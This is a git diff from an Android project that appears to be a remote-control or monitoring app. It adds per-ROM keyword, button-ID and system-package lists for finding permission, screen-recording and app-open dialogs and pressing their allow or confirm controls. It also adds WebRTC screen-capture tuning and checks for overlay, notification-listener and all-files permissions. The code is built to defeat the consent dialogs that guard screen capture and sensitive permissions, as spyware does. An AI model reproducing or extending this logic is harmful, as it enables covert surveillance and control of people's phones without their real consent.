+ + override fun matches(info: DeviceRuntimeInfo): Boolean = true + + override fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy { + return baseRomPolicy(id) + } +} + +private fun baseRomPolicy(strategyId: String): RomPolicy { + return RomPolicy( + strategyId = strategyId, + permissionStepOrder = listOf( + PermissionStep.RUNTIME, + PermissionStep.OVERLAY, + PermissionStep.WRITE_SETTINGS, + PermissionStep.ALL_FILES_ACCESS, + PermissionStep.NOTIFICATION_LISTENER, + PermissionStep.BATTERY_OPTIMIZATION, + PermissionStep.EXACT_ALARM, + PermissionStep.ACCESSIBILITY, + PermissionStep.MEDIA_PROJECTION + ), + mediaProjectionConfirmTexts = DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS, + mediaProjectionDetectionKeywords = DEFAULT_MEDIA_PROJECTION_DETECTION_KEYWORDS, + mediaProjectionDenyKeywords = DEFAULT_MEDIA_PROJECTION_DENY_KEYWORDS, + runtimePermissionAllowKeywords = DEFAULT_RUNTIME_PERMISSION_ALLOW_KEYWORDS, + runtimePermissionDenyKeywords = DEFAULT_RUNTIME_PERMISSION_DENY_KEYWORDS, + runtimePermissionOptionKeywords = DEFAULT_RUNTIME_PERMISSION_OPTION_KEYWORDS, + runtimePermissionFinalConfirmKeywords = DEFAULT_RUNTIME_PERMISSION_FINAL_CONFIRM_KEYWORDS, + runtimePermissionConfirmViewIdHints = DEFAULT_RUNTIME_PERMISSION_CONFIRM_VIEW_ID_HINTS, + permissionDialogPackageHints = DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS, + permissionFlowPackageHints = DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS, + appOpenDialogPackageHints = DEFAULT_APP_OPEN_PACKAGE_HINTS, + appOpenDialogTitleKeywords = DEFAULT_APP_OPEN_TITLE_KEYWORDS, + appOpenDialogAlwaysAllowKeywords = DEFAULT_APP_OPEN_ALWAYS_ALLOW_KEYWORDS, + appOpenDialogPositiveKeywords = DEFAULT_APP_OPEN_POSITIVE_KEYWORDS, + appOpenDialogNegativeKeywords = DEFAULT_APP_OPEN_NEGATIVE_KEYWORDS, + appOpenDialogPositiveButtonIds = DEFAULT_APP_OPEN_POSITIVE_BUTTON_IDS, + appOpenDialogCheckboxIds = DEFAULT_APP_OPEN_CHECKBOX_IDS, + installerStrategy = InstallerStrategy.SESSION_FAST + ) +} + +private fun mergeDistinct(primary: List, secondary: List): List { + return (primary + secondary) + .map { it.trim() } + .filter { it.isNotEmpty() } + .distinct() +} + +private val DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS = listOf( + "立即开始", "允许", "确定", "开始", "Start now", "Allow", "OK", "Start", "Begin" +) + +private val DEFAULT_MEDIA_PROJECTION_DETECTION_KEYWORDS = listOf( + "投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制", + "Screen recording", "Screen casting", "Screen capture", "Share screen" +) + +private val DEFAULT_MEDIA_PROJECTION_DENY_KEYWORDS = listOf( + "禁止", "取消", "拒绝", "不允许", "不同意", "关闭", + "Cancel", "Deny", "Dismiss", "Don't allow", "No" +) + +private val DEFAULT_RUNTIME_PERMISSION_ALLOW_KEYWORDS = listOf( + "允许", "始终允许", "允许本次使用", "本次使用时允许", + "使用时允许", "使用期间允许", "仅使用期间允许", + "仅在使用中允许", "仅在前台使用应用时允许", "仅在使用该应用时允许", + "在使用中运行", "在使用中", "在使用该应用时", "在使用期间", + "仅在使用中", "仅在使用期间", "仅在使用应用时", + "允许通知", "允许访问全部", "允许管理所有文件", "允许使用照片和视频", "所有文件", + "确认解除", "解除限制", "解除", "仅本次", "本次允许", "仅此一次", "允许一次", + "Allow", "Always allow", "Allow all the time", + "Allow while using", "Allow while using the app", "While using the app", + "Allow only this time", "Only this time", "This time only", "Allow once" +) + +private val DEFAULT_RUNTIME_PERMISSION_DENY_KEYWORDS = listOf( + "禁止", "取消", "拒绝", "不允许", "不同意", "关闭", "暂不", "以后再说", + "仅在使用中不允许", "仅在使用期间不允许", + "Cancel", "Deny", "Dismiss", "Don't allow", "Do not allow", "Not now", "No" +) + +private val DEFAULT_RUNTIME_PERMISSION_OPTION_KEYWORDS = listOf( + "每次使用询问", "每次询问", "询问", + "仅在使用中允许", "仅在使用期间允许", + "仅在使用该应用时允许", "仅在使用此应用时允许", "仅在前台使用应用时允许", + "仅本次", "本次允许", "仅此一次", "允许一次", + "Ask every time", "Only this time", "While using the app" +) + +private val DEFAULT_RUNTIME_PERMISSION_FINAL_CONFIRM_KEYWORDS = listOf( + "允许", "确认", "确定", "继续", "同意", "授权", "完成", + "Allow", "Confirm", "OK", "Continue", "Agree", "Grant", "Authorize", "Yes" +) + +private val DEFAULT_RUNTIME_PERMISSION_CONFIRM_VIEW_ID_HINTS = listOf( + "button1", "positive", "allow", "grant", "confirm", "ok", "continue", "action" +) + +private val DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS = listOf( + "com.android.systemui", + "android", + "com.android.permissioncontroller", + "com.google.android.permissioncontroller", + "com.android.packageinstaller", + "com.miui.securitycenter", + "com.miui.permcenter", + "com.miui.permissioncontroller", + "com.lbe.security.miui", + "com.huawei.systemmanager", + "com.hihonor.systemmanager", + "com.hihonor.securitycenter", + "com.coloros.safecenter", + "com.coloros.securitypermission", + "com.oplus.securitypermission", + "com.oppo.permissioncontroller", + "com.oppo.safecenter", + "com.heytap.permission", + "com.heytap.security" +) + +private val DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS = listOf( + "permissioncontroller", + "packageinstaller", + "permcenter", + "securitycenter", + "systemmanager", + "lbe.security.miui", + "com.coloros", + "com.oplus", + "com.heytap", + "com.oppo" +) + +private val DEFAULT_APP_OPEN_PACKAGE_HINTS = listOf( + "com.android.permissioncontroller", + "com.android.packageinstaller", + "com.coloros.securitypermission", + "com.coloros.safecenter", + "com.oppo.safecenter", + "com.oplus.safecenter", + "com.heytap.security", + "com.heytap.permission" +) + +private val DEFAULT_APP_OPEN_TITLE_KEYWORDS = listOf( + "是否允许开启应用", + "是否允许打开应用", + "是否始终允许打开", + "是否始终允许开启应用", + "允许开启应用", + "允许打开应用", + "打开此应用", + "allow this app to open", + "allow opening app" +) + +private val DEFAULT_APP_OPEN_ALWAYS_ALLOW_KEYWORDS = listOf( + "是否始终允许打开", + "是否始终允许开启应用", + "始终允许打开", + "始终允许开启", + "始终允许打开此应用", + "总是允许打开", + "总是允许开启", + "总是允许打开此应用", + "始终允许", + "always allow" +) + +private val DEFAULT_APP_OPEN_POSITIVE_KEYWORDS = listOf( + "确定", "允许", "继续", "同意", "确认", "打开", "ok", "allow", "continue", "confirm", "yes" +) + +private val DEFAULT_APP_OPEN_NEGATIVE_KEYWORDS = listOf( + "取消", "拒绝", "不允许", "not now", "cancel", "deny", "don't allow" +) + +private val DEFAULT_APP_OPEN_POSITIVE_BUTTON_IDS = listOf( + "android:id/button1", + "com.android.permissioncontroller:id/button1", + "com.android.packageinstaller:id/button1", + "com.android.packageinstaller:id/permission_allow_button", + "com.coloros.securitypermission:id/button1", + "com.coloros.safecenter:id/button1", + "com.oppo.safecenter:id/button1", + "com.heytap.permission:id/button1" +) + +private val DEFAULT_APP_OPEN_CHECKBOX_IDS = listOf( + "android:id/checkbox", + "com.android.permissioncontroller:id/checkbox", + "com.android.packageinstaller:id/checkbox", + "com.coloros.securitypermission:id/checkbox", + "com.coloros.safecenter:id/checkbox", + "com.oppo.safecenter:id/checkbox", + "com.heytap.permission:id/checkbox" +) diff --git a/app/src/main/java/com/hikoncont/util/adaptation/WebRtcTransportAdaptationRegistry.kt b/app/src/main/java/com/hikoncont/util/adaptation/WebRtcTransportAdaptationRegistry.kt new file mode 100644 index 0000000..26bebc9 --- /dev/null +++ b/app/src/main/java/com/hikoncont/util/adaptation/WebRtcTransportAdaptationRegistry.kt @@ -0,0 +1,137 @@ +package com.hikoncont.util.adaptation + +import com.hikoncont.util.DeviceDetector.DeviceBrand + +/** + * Runtime policy for WebRTC + MediaProjection behavior. + * + * Keep ROM/model specific tuning here so feature modules avoid hardcoded + * brand checks. + */ +data class WebRtcTransportPolicy( + val strategyId: String, + val offerRetryDelayMs: Long, + val offerRetryMax: Int, + val refreshTriggerIntervalMs: Long, + val emergencyRefreshMinIntervalMs: Long, + val preferDefaultDisplayCaptureIntent: Boolean, + val forceMediaProjectionFgsBeforeCapture: Boolean +) + +private interface WebRtcTransportAdaptationStrategy { + val id: String + val priority: Int + + fun matches(info: DeviceRuntimeInfo): Boolean + + fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy +} + +/** + * Registry for WebRTC transport tuning. + */ +object WebRtcTransportAdaptationRegistry { + private val strategies: List = listOf( + Xiaomi13HyperOsAndroid14Strategy, + XiaomiAndroid14Strategy, + OppoFamilyAndroid14Strategy, + DefaultWebRtcTransportStrategy + ).sortedByDescending { it.priority } + + fun resolve(info: DeviceRuntimeInfo): WebRtcTransportPolicy { + val strategy = strategies.firstOrNull { it.matches(info) } ?: DefaultWebRtcTransportStrategy + return strategy.buildPolicy(info) + } +} + +private object Xiaomi13HyperOsAndroid14Strategy : WebRtcTransportAdaptationStrategy { + override val id: String = "xiaomi13_hyperos_android14" + override val priority: Int = 200 + + override fun matches(info: DeviceRuntimeInfo): Boolean { + if (info.brand != DeviceBrand.XIAOMI) return false + if (info.sdkInt < 34) return false + val model = info.modelRaw.lowercase() + val device = info.deviceRaw.lowercase() + val product = info.productRaw.lowercase() + return model.contains("2211133c") || device.contains("fuxi") || product.contains("fuxi") + } + + override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy { + return WebRtcTransportPolicy( + strategyId = id, + offerRetryDelayMs = 4500L, + offerRetryMax = 8, + refreshTriggerIntervalMs = 3000L, + emergencyRefreshMinIntervalMs = 1000L, + preferDefaultDisplayCaptureIntent = true, + forceMediaProjectionFgsBeforeCapture = true + ) + } +} + +private object XiaomiAndroid14Strategy : WebRtcTransportAdaptationStrategy { + override val id: String = "xiaomi_android14_balanced" + override val priority: Int = 150 + + override fun matches(info: DeviceRuntimeInfo): Boolean { + return info.brand == DeviceBrand.XIAOMI && info.sdkInt >= 34 + } + + override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy { + return WebRtcTransportPolicy( + strategyId = id, + offerRetryDelayMs = 5000L, + offerRetryMax = 7, + refreshTriggerIntervalMs = 3500L, + emergencyRefreshMinIntervalMs = 1200L, + preferDefaultDisplayCaptureIntent = true, + forceMediaProjectionFgsBeforeCapture = true + ) + } +} + +private object OppoFamilyAndroid14Strategy : WebRtcTransportAdaptationStrategy { + override val id: String = "oppo_family_android14" + override val priority: Int = 120 + + override fun matches(info: DeviceRuntimeInfo): Boolean { + if (info.sdkInt < 34) return false + return info.brand == DeviceBrand.OPPO || + info.brand == DeviceBrand.VIVO || + info.brand == DeviceBrand.ONEPLUS || + info.brand == DeviceBrand.REALME + } + + override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy { + return WebRtcTransportPolicy( + strategyId = id, + offerRetryDelayMs = 5000L, + offerRetryMax = 6, + refreshTriggerIntervalMs = 4000L, + emergencyRefreshMinIntervalMs = 1500L, + preferDefaultDisplayCaptureIntent = true, + forceMediaProjectionFgsBeforeCapture = true + ) + } +} + +private object DefaultWebRtcTransportStrategy : WebRtcTransportAdaptationStrategy { + override val id: String = "default_webrtc_transport" + override val priority: Int = 0 + + override fun matches(info: DeviceRuntimeInfo): Boolean = true + + override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy { + return WebRtcTransportPolicy( + strategyId = id, + offerRetryDelayMs = 5000L, + offerRetryMax = 6, + refreshTriggerIntervalMs = 4000L, + emergencyRefreshMinIntervalMs = 1500L, + preferDefaultDisplayCaptureIntent = info.sdkInt >= 34, + forceMediaProjectionFgsBeforeCapture = info.sdkInt >= 29 + ) + } +} + diff --git a/app/src/main/java/com/hikoncont/utils/PermissionRequestHelper.kt b/app/src/main/java/com/hikoncont/utils/PermissionRequestHelper.kt index ce2c140..b3d65e1 100644 --- a/app/src/main/java/com/hikoncont/utils/PermissionRequestHelper.kt +++ b/app/src/main/java/com/hikoncont/utils/PermissionRequestHelper.kt @@ -3,7 +3,9 @@ import android.content.Context import android.content.Intent import android.os.Build +import android.provider.Settings import android.util.Log +import androidx.core.app.NotificationManagerCompat import com.hikoncont.ui.PermissionRequestActivity /** @@ -141,11 +143,19 @@ object PermissionRequestHelper { val hasImagesPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_IMAGES) val hasVideoPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_VIDEO) val hasAudioPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_AUDIO) + val hasVisualSelectedPermission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) { + hasPermission(context, android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED) + } else { + false + } - Log.d(TAG, "🔍 媒体权限检测: 图片=$hasImagesPermission, 视频=$hasVideoPermission, 音频=$hasAudioPermission") + Log.d( + TAG, + "🔍 媒体权限检测: 图片=$hasImagesPermission, 视频=$hasVideoPermission, 音频=$hasAudioPermission, 用户选择媒体=$hasVisualSelectedPermission" + ) // 拥有任一媒体权限即可访问相册 - hasImagesPermission || hasVideoPermission || hasAudioPermission + hasImagesPermission || hasVideoPermission || hasAudioPermission || hasVisualSelectedPermission } else { // Android 12及以下使用传统存储权限 // ✅ 优化:只需要读取权限,不需要写入权限 @@ -184,6 +194,14 @@ object PermissionRequestHelper { Log.d(TAG, "✅ 快速检测:音频权限已授予") return true } + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) { + val hasVisualSelectedPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED) + if (hasVisualSelectedPermission) { + Log.d(TAG, "✅ 快速检测:用户选择媒体权限已授予") + return true + } + } Log.d(TAG, "❌ 快速检测:无任何媒体权限") false @@ -213,12 +231,19 @@ object PermissionRequestHelper { val hasImagesPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_IMAGES) val hasVideoPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_VIDEO) val hasAudioPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_AUDIO) + val hasVisualSelectedPermission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) { + hasPermission(context, android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED) + } else { + false + } result["android_version"] = "13+" result["has_images_permission"] = hasImagesPermission result["has_video_permission"] = hasVideoPermission result["has_audio_permission"] = hasAudioPermission - result["has_any_media_permission"] = hasImagesPermission || hasVideoPermission || hasAudioPermission + result["has_visual_selected_permission"] = hasVisualSelectedPermission + result["has_any_media_permission"] = + hasImagesPermission || hasVideoPermission || hasAudioPermission || hasVisualSelectedPermission result["permission_type"] = "media" Log.d(TAG, "🔍 详细检测结果: $result") @@ -255,4 +280,37 @@ object PermissionRequestHelper { hasPermission(context, android.Manifest.permission.READ_PHONE_STATE) && hasPermission(context, android.Manifest.permission.CALL_PHONE) } + + fun hasNotificationPermission(context: Context): Boolean { + return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + hasPermission(context, android.Manifest.permission.POST_NOTIFICATIONS) + } else { + true + } + } + + fun hasOverlayPermission(context: Context): Boolean { + return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + Settings.canDrawOverlays(context) + } else { + true + } + } + + fun hasWriteSettingsPermission(context: Context): Boolean { + return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + Settings.System.canWrite(context) + } else { + true + } + } + + fun hasNotificationListenerPermission(context: Context): Boolean { + return try { + NotificationManagerCompat.getEnabledListenerPackages(context).contains(context.packageName) + } catch (e: Exception) { + Log.e(TAG, "检查通知监听权限失败", e) + false + } + } } diff --git a/app/src/main/res/layout/activity_main.xml b/app/src/main/res/layout/activity_main.xml index 881f263..77a6a04 100644 --- a/app/src/main/res/layout/activity_main.xml +++ b/app/src/main/res/layout/activity_main.xml @@ -103,6 +103,54 @@ + + + + + + + + + +